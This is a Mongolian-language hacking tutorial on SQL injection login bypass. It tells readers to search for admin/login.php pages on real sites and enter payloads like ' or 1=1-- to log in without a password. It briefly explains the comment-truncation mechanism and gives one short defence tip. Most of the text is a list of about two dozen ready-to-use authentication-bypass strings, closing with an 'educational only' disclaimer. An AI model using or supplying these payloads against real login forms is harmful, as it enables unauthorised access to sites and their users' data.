=====================================================================
ЗӨВ ТАЛААР НЬ АШИГЛАНА УУ !
=====================================================================
SQL-нэг том асуудал бол түүний хамгаалалт юм.
Хайх:
Admin/login.php
Admin.php
Эдгээр URL ийг та маш олныг олох болно.
Тэгээд юу хийх вэ:
Энэ нь маш энгийн. Login хуудас дээр үүнийг оруулж үз
User:admin pass:aa or 1=1--
Эсвэл
User:' or 1=1-- admin:' or 1=1—
Зарим сайтууд
Password:' 1=1 гэж бичээд л нэвтрэх болно.
Шалтгаан: Энэ төрлийн exploit монголд олон гарсан билээ. Үүний учир нь сайтыг хийсэн веб мастер эсвэл сонирхогч нар алдаатай код бичиж өгсөнд байгаа юм. Тэр нь юу вэ гэвэл мастерууд өөрийн хэрэглэч болон пасспортыг шалгахдаа
“Select *from users where uid='$username' and pass='$password'” гэх мэтийн кодууд бичиж өгдөг юм. Та энэ бичлэгэнд алдаа байхгүй байна гэж хэлж болох юм. Гол шалтгаан нь MSSQL server нь – бичлэгээх хойшхи, MySQL сервер нь /* бичлэгээс хойш бичигдсэн query –г биелүүлдэггүй юм. Хэрэв та ямар нэг програмчлалын хэл мэддэг бол үүнийг ойлгоход тун амархан. Жишээ C++ дээр // тэмдэгтээс хойшхи бичлэг ажилладаггүйтэй адил юм. Ингээд дээр бичсэн жишээн дээр саяны код яаж ажиллахыг үзье.
$uid = “admin”, $pass=” ‘ or 1=1” болно эдгээр нь SQL –рүү дамжигдахдаа
“ Select *from users where uid='admin' and pass= or 1=1- -‘ ” болж дамжина. Ингэхлээр сервер users хүснэгтээс admin гэдэг хэрэглэгчийг ямар ч нууц үгтэй байсан хамаагүй сонгож болно.
Хамгаалалт: Одоо үүнээс яаж хамгаалах талаар бячхан зөвлөгөө өгье.
Та эхлээд users хүснэгтээс зөвхөн хэрэглэгчийн нэрийг хайж байвал нэг хувьсагчид тухайн хэрэглэгчийн нууц үгийг олгох хэрэгтэй. Дараа нь form оос орж ирсэн нууц үгийг түрүүний хувьсагчийнхтай харьцуулаад л боллоо.
Одоо SQL Injection –д ашиглагдаж болох хэд хэд хослолыг харуулъя.
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
Эцэст нь хэлэхэд энэ хичээл зөвхөн сургалтын зорилготой бөгөөд үүнийг элдэв хорон зорилгоор ашиглахгүй байхыг хүсье. Би таны үйлдэлд ямар ч хариуцлага үүрэхгүй болохыг анхааруулья.